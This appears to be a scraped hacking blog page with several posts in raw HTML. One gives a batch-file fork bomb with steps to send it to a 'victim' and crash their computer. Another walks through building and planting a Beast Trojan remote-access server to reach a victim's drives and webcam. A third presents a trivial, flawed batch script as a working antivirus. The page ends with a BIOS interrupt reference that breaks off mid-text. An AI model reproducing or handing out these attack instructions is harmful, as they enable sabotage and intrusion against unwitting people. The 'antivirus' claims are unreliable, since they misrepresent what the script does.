SHM-HACK: VIRUSES AND HACKING

HOW TO CREATE DANGEROUS VIRUS THAT CAN CRASH COMPUTER

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: #bcc5c1; border: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 12px; line-height: 21.6px; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<span style="background-color: transparent; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit;">Can you Imagine that????</span><span style="background-color: transparent; border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"><strong> Just 5 Characters can Make your COMPUTER CRASH</strong></span><span style="background-color: transparent; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit;">, So i have decided to share this knowledge with YOU..!</span></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
But the first thing I have to mention is that:-<strong><span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">what is a virus?</span></span></strong></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<img src="http://cdn.makeuseof.com/wp-content/uploads/2015/03/computer-virus-709x381.png?b68665" /></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"><i>What is a virus</i> is a very important question</span>!</span> A virus is a small program that gets into your computer undetected in order to cause havoc. This small software program has either been developed because the author enjoys causing disasters for other people or sometimes for monetary gains. Sometimes a virus is packaged in a file that is called a trojan virus. It is disguised as something else, and once it has gained access to your computer it then releases its intent.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
If this Virus is on your COMPUTER, and you put it ON, it automatically create two instances and multiply over and over again until your enemy’s COMPUTER Crash. Actually It’s dead simple, A program just replicate itself, which again replicate itself and so on until all resources are exhausted on your COMPUTER.</div>
<h3 style="border: 0px; color: #cc0000; font-family: impact, Verdana, Arial, sans-serif; font-size: 2.5em; font-style: inherit; font-weight: inherit; line-height: 1em; margin: 8px 0px 18px; padding: 0px; vertical-align: baseline;">
</h3>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
Lets call the Process a Fork Bomb, A Fork Bomb creates a large number of processes very quickly and break the limitation of processes that can run on a COMPUTER.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">HOW TO CREATE THIS FORK BOMB VIRUS :-</span></span><strong><span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"> </span>FOLLOW THESE  STEPS:                                                  </strong></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP:1- Open Notepad on your PC</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP:2- copy it from here to your Notepad</div>
<h3 style="border: 0px; color: #cc0000; font-family: impact, Verdana, Arial, sans-serif; font-size: 2.5em; font-style: inherit; font-weight: inherit; line-height: 1em; margin: 8px 0px 18px; padding: 0px; vertical-align: baseline;">
                                         <strong><span style="border: 0px; color: red; font-family: inherit; font-size: 36px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><blockquote>
%0|%0</blockquote>
</span></strong></h3>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP:3- Then save it with a .bat extension.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
When saving delete the .txt and input the File name with the .bat extension</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
Example:- <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">fork.bat</span></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP:4- Once anyone will do double click on this bat file, his COMPUTER WILL JAMM AND CRASH</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
Now you can send it to your Victim through Mail or from your Flash Drive to his PC and then once he hit the File, HIS COMPUTER <span style="background-color: #bcc5c1; color: #333333; font-family: "tahoma" , "verdana" , "arial" , sans-serif; font-size: 14.4px; line-height: 21.6px;">WILL JAMM AND CRASH</span></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<b></b></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<b>1) </b>Do not open any File with .bat on your COMPUTER</div>
<big style="background-color: #bcc5c1; color: #333333; font-family: Tahoma, Verdana, Arial, sans-serif; line-height: 21.6px;"></big><br />
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px 0px 1.8em; padding: 0px; vertical-align: baseline;">
2)If you are already a victim of this Virus, Once you ON your COMPUTER, quickly Press <b>ctrl + alt + delete</b> key on your keyboard then <b>Start the Task Manager</b>, Now click on the Processes Tab and locate <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">fork.bat</span> or anyname you Use, then put your mouse on it and click on the <b>End Process Button</b>, thats all.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px 0px 1.8em; padding: 0px; vertical-align: baseline;">
ENJOY...</div>
</div>

VIRUSES AND HACKING HOW TO CREATE DANGEROUS VIRUS THAT CAN CRASH COMPUTER

Can you Imagine that???? Just 5 Characters can Make your COMPUTER CRASH , So i have decided to share this knowledge with YOU..! But the...

How To Create Your Own Anti-Virus?

Unknown 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: #bcc5c1; border: 0px; color: #333333; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 12px; line-height: 21.6px; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<big>Do you want to make your own <strong>ANTIVIRUS</strong>??</big></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
Hello readers if you are looking to make your own <strong>ANTIVRUS</strong> then first of all you need a license in order to make your own antivirus. According to law creating an antivirus without license is not ethical. Actually creating <strong>ANTIVIRUS</strong> is extremely complicated. You need  a team for this work who are good in coding, and ARE good for designing <strong>ANTIVIRUS</strong>‘interface and yes you need a lot of Malware database around 10000-20000 databases or may be more is required in order for   <strong>A</strong><strong>NTIVIR</strong><strong>US</strong> to work.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<br /></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;">Requirements for building <strong>ANTIVIRUS</strong>:-</span></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
Here is a basic requirements for building <strong>ANTIVIRUS</strong>. First you need a clean, write-protected, bootable diskette for your operating system. A bootable diskette is a diskette that has the basic pieces on it that are needed to load DOS on your PC. It can be constructed using the format/s command. You will need to copy the following DOS files to the diskette:<strong>FORMAT.COM</strong>, <strong><span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">FDISK.EXE</span>, <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">SYS.COM</span></strong>, and <strong><span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">XCOPY.EXE</span><em style="border: 0px; font-family: inherit; font-size: 14.4px; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">1</em></strong>. You may want to make several of these diskettes and keep them in different locations so you’ll have easy access to them when you need them. Bootable diskettes are useful for many different situations, so this is something you really should put together.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<strong>So here i  decided to provide u some simple Steps To make your own </strong><strong>ANTIVIRUS.</strong></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
The main functioning of <strong>ANTIVIRUS</strong> is to detect and remove  harmful or unwanted files which may slowdown your computer and windows. But if you don’t have enough time to download any best <strong>ANTIVIRUS</strong>. Then simply use this tehnique to make your own <strong>ANTIVIRUS.</strong></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
This <strong>ANTIVIRUS</strong> scan by using command prompt and delete unwanted files automatically.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;"><strong>Steps to create your own ANTIVIRUS :-</strong></span></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP-1) Open your Notepad and paste this given code</div>
<blockquote>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<strong>@echo off</strong><br />
<strong>title Antivirus</strong><br />
<strong>echo Antivirus</strong><br />
<strong>echo created by your name</strong><br />
<strong>:start</strong><br />
<strong>if exist <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">virus.bat</span> goto infected</strong><br />
<strong>if not exist <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">virus.bat</span> goto clean</strong><br />
<strong>cd C:\Windows\system32</strong><br />
<strong>:infected</strong><br />
<strong>echo warning virus detected</strong><br />
<strong>del <span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">virus.bat</span></strong><br />
<strong>pause</strong><br />
<strong>goto start</strong><br />
<strong>:clean</strong><br />
<strong>echo System secure!</strong><br />
<strong>pause</strong><br />
<strong>exit </strong></div>
</blockquote>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<img src="http://i.imgur.com/wG3edZI.png" style="font-size: 14.4px;" /></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP-2)  Save this code as:-<b>  </b><strong><span class="skimlinks-unlinked" style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">antivirus.bat</span> <b><br /></b></strong></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
and select:-  <b>All files</b></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<img src="http://i.imgur.com/x4ZYvfk.png" /></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
STEP-3) Now run your saved files- Automatically scan starts.</div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<img src="http://i.imgur.com/BKb7A83.png" /></div>
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; margin-bottom: 1.8em; padding: 0px; vertical-align: baseline;">
<b>ENJOY..</b></div>
<big style="background-color: #bcc5c1; color: #333333; font-family: Tahoma, Verdana, Arial, sans-serif; line-height: 21.6px;"></big><br />
<div style="border: 0px; font-family: inherit; font-size: 14.4px; font-style: inherit; font-weight: inherit; margin: 0px 0px 1.8em; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>

VIRUSES AND HACKING How To Create Your Own Anti-Virus?

Do you want to make your own ANTIVIRUS ?? Hello readers if you are looking to make your own ANTIVRUS then first of all you need a lic...

How to Make your own TROJAN VIRUS

Unknown 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" style="font-family: 'trebuchet ms', sans-serif; font-size: 22px; line-height: 1.4em; margin: 0.25em 0px 0px; padding: 0px 0px 4px;">
<img height="324" src="http://vignette3.wikia.nocookie.net/virus/images/f/fb/Trojan-horse-virus.png/revision/latest?cb=20141019203021" width="400" /></h3>
<h3 class="post-title entry-title" style="font-family: 'trebuchet ms', sans-serif; font-size: 22px; line-height: 1.4em; margin: 0.25em 0px 0px; padding: 0px 0px 4px;">
<span style="color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.6em; text-align: justify;">I guess everyone of you have once in your computer-life experienced a threat to your system called Virus. Now today we will see how a virus is made and which is the most highly and widely used by script kiddies. Before I start the recipe, we need to talk about few types of TROJAN VIRUS attacks; </span></h3>
<div class="post-body entry-content" style="border: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.6em; margin: 0px 0px 30px; outline: 0px; padding: 0px;">
<div dir="ltr" style="border: 0px; margin: 0px; outline: 0px; padding: 0px;" trbidi="on">
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
well for those who do not know about TROJAN virus (please click to know what Trojan virus is) <a href="http://www.tech-faq.com/trojan-virus.html" style="border: 0px; color: #4f4c4b; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;" target="_blank">TROJAN VIRUS</a>. First let us talk about the types of Trojan Attacks:</div>
<ol style="text-align: justify;">
<li>Password Capturing and Sending,</li>
<li>FTP (port:21) Trojan</li>
<li><a href="http://www.hackwithpiyush.blogspot.in/2012/03/dos-denial-of-service-attack.html" style="border: 0px; color: #4f4c4b; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;" target="_blank">DOS</a> Trojan (misuse of one's bandwidth)</li>
<li>Remote Acces</li>
<li>Software killer</li>
</ol>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
Above we talked how do Trojans affect you. now we have; where do Trojan/Viruses come from,</div>
<a href="https://draft.blogger.com/null" name="more" style="border: 0px; margin: 0px; outline: 0px; padding: 0px;"></a><br /><ol style="text-align: justify;">
<li>Online Chat/Group Chat (Yahoo,Gmail,IRC)</li>
<li>Attached File in email</li>
<li>Physical Access to a System</li>
<li> Free Websites material/software</li>
<li>Wrappers</li>
<li>File Sharing</li>
</ol>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
Softwares which create are (ones which still function):</div>
<ol style="text-align: justify;">
<li><a href="http://en.wikipedia.org/wiki/NetBus" style="border: 0px; color: #4f4c4b; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;" target="_blank">NetBus</a></li>
<li><a href="http://en.wikipedia.org/wiki/Beast_%28trojan_horse%29" style="border: 0px; color: #4f4c4b; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;" target="_blank">Beast Final</a></li>
</ol>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
The Software which I will Demonstrate in front of you is <u style="border: 0px; margin: 0px; outline: 0px; padding: 0px;"><b style="border: 0px; margin: 0px; outline: 0px; padding: 0px;">BEAST TROJAN HORSE</b></u>, (ps: it is difficult to find these days but it's still very effective).</div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
This is how the Software looks when you open it,</div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
<br /></div>
<div class="separator" style="border: 0px; clear: both; margin: 0px; outline: 0px; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQnNv09cHQ__3sxpGxRROwMQ-86-mdLBfKDyL_GCYTTVHs9LwgDiOpa-ZdKJMyNVFRPa1jlgU1BYpzryggLh2hYq7y_Ph640vKuE6029ouLy0MmnHR6JjJcB0sLp-7X0ksUiNAsL-HzFs/s1600/beast+intro.JPG" imageanchor="1" style="border: 0px; color: #4f4c4b; margin: 0px 1em; outline: 0px; padding: 0px; text-decoration: none;"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQnNv09cHQ__3sxpGxRROwMQ-86-mdLBfKDyL_GCYTTVHs9LwgDiOpa-ZdKJMyNVFRPa1jlgU1BYpzryggLh2hYq7y_Ph640vKuE6029ouLy0MmnHR6JjJcB0sLp-7X0ksUiNAsL-HzFs/s320/beast+intro.JPG" style="border: 4px solid rgb(238, 238, 238);" width="320" /></a></div>
Because this software is very controversial, I would not be able to show all the images with respect to the Trojan Building Software.<br /><br /><ol>
<li>Now what do hackers do is that they run this software (very small software), They first need the<a href="http://en.wikipedia.org/wiki/IP_address" style="border: 0px; color: #4f4c4b; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;" target="_blank"> ip address </a>of the victim they need to attack. Lets say they got your ip xxx.xxx.xxx.xxx they will enter it into the blue box just below HOST. (The address given is the default address common to all offline computers)</li>
<li>Next is they require the port through which they need to attack, most of the script kiddies leave it default 6666 or 9999. But if hackers know what they are doing so they try to inject and communicate through the port they think will be vulnerable.</li>
<li>next they click on build server and the window below will open, Most of the script kiddies do not mess with much of the settings,</li>
</ol>
<div class="separator" style="border: 0px; clear: both; margin: 0px; outline: 0px; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuTAE-eot_eZEkD-LTveMTGGMNBkbJ__UMEugBFgfSStXYW0pITjVgdZb-y0bRnVJptqZu46hUnGXYWOE9DRDovvHi0SH8rC1YWA6qeldn9zT3X7OckECWjfSR_bRS5BYwGUvsz6HIEQw/s1600/beast2.JPG" imageanchor="1" style="border: 0px; color: #4f4c4b; margin: 0px 1em; outline: 0px; padding: 0px; text-decoration: none;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuTAE-eot_eZEkD-LTveMTGGMNBkbJ__UMEugBFgfSStXYW0pITjVgdZb-y0bRnVJptqZu46hUnGXYWOE9DRDovvHi0SH8rC1YWA6qeldn9zT3X7OckECWjfSR_bRS5BYwGUvsz6HIEQw/s320/beast2.JPG" style="border: 4px solid rgb(238, 238, 238);" width="320" /></a></div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
 if it is required to make the virus a little less detectable they change the name to something the user will not be able to recognize, such as the name given above.</div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
     4.  Now before completion to make virus further undetectable they need  go to EXE icon and choose a different icon then application, to just click on BUILD SERVER, an waalaah their virus TROJAN is created.</div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
     5. Now when they again look into the folder where beast is stored they find a file named as SERVER.EXE.(33kb to 66kb) this is the TROJAN virus.</div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
      6. Now the only thing left is to plant this virus into the system of the victim by any of the other means above. and the Victim is hacked. </div>
<div style="border: 0px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
When we go up and look at the first picture will will find a few options on the right hand side of the screen, using those options one can do following actions;</div>
<ol>
<li>Access ALL DRIVES of the victim and use it for exploitation or criminal activity,</li>
<li>Use the person's WebCam</li>
<li>Can ADD, Plant or even DELETE user softwares and DATA</li>
<li>There are fun tricks also such as open CD drive, Lock Mouse, Lock Screen, Send Chat MEssages to the Victim</li>
<li>Prompt Error Messages to the Victim etc., and many more activities which will surely make the user go pale.</li>
</ol>
This is a way the Hackers/Script kiddies create their own viruses and  Trojans. So Beware and Be-safe.</div>
</div>
</div>

VIRUSES AND HACKING How to Make your own TROJAN VIRUS

I guess everyone of you have once in your computer-life experienced a threat to your system called Virus. Now today we will see how a vi...

BIOS and DOS Interrupt Functions

Unknown 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="line-height: 1.2449999999999999; margin-bottom: 18.1pt; margin-left: -0.7pt; margin-top: 0pt; text-align: justify; text-indent: 35.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img height="468" src="http://www.hackersnewsbulletin.com/wp-content/uploads/2015/05/virus.png" width="640" /></span><br />
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">All BIOS and DOS calls which are used are documented here. No attempt is made at an exhaustive list, since such information has been published abundantly in a variety of sources. </span></div>
<h2 dir="ltr" style="line-height: 1.295; margin-bottom: 13.9pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 17.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Interrupt 10H: BIOS Video Services</span></h2>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 0E Hex: Write TTY to Active Page</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 0EH </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.2pt; margin-left: 54.65pt; margin-right: 74.25pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Character to display </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Forground color, in graphics modes</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns: </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">None</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function displays the character in </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">on the screen at the current cursor location and advances the cursor by one position. It interprets </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=0DH as a carriage return, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=0AH as a line feed, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=08 as a backspace, and </span><span style="background-color: transparent; color: black; font-family: "times new 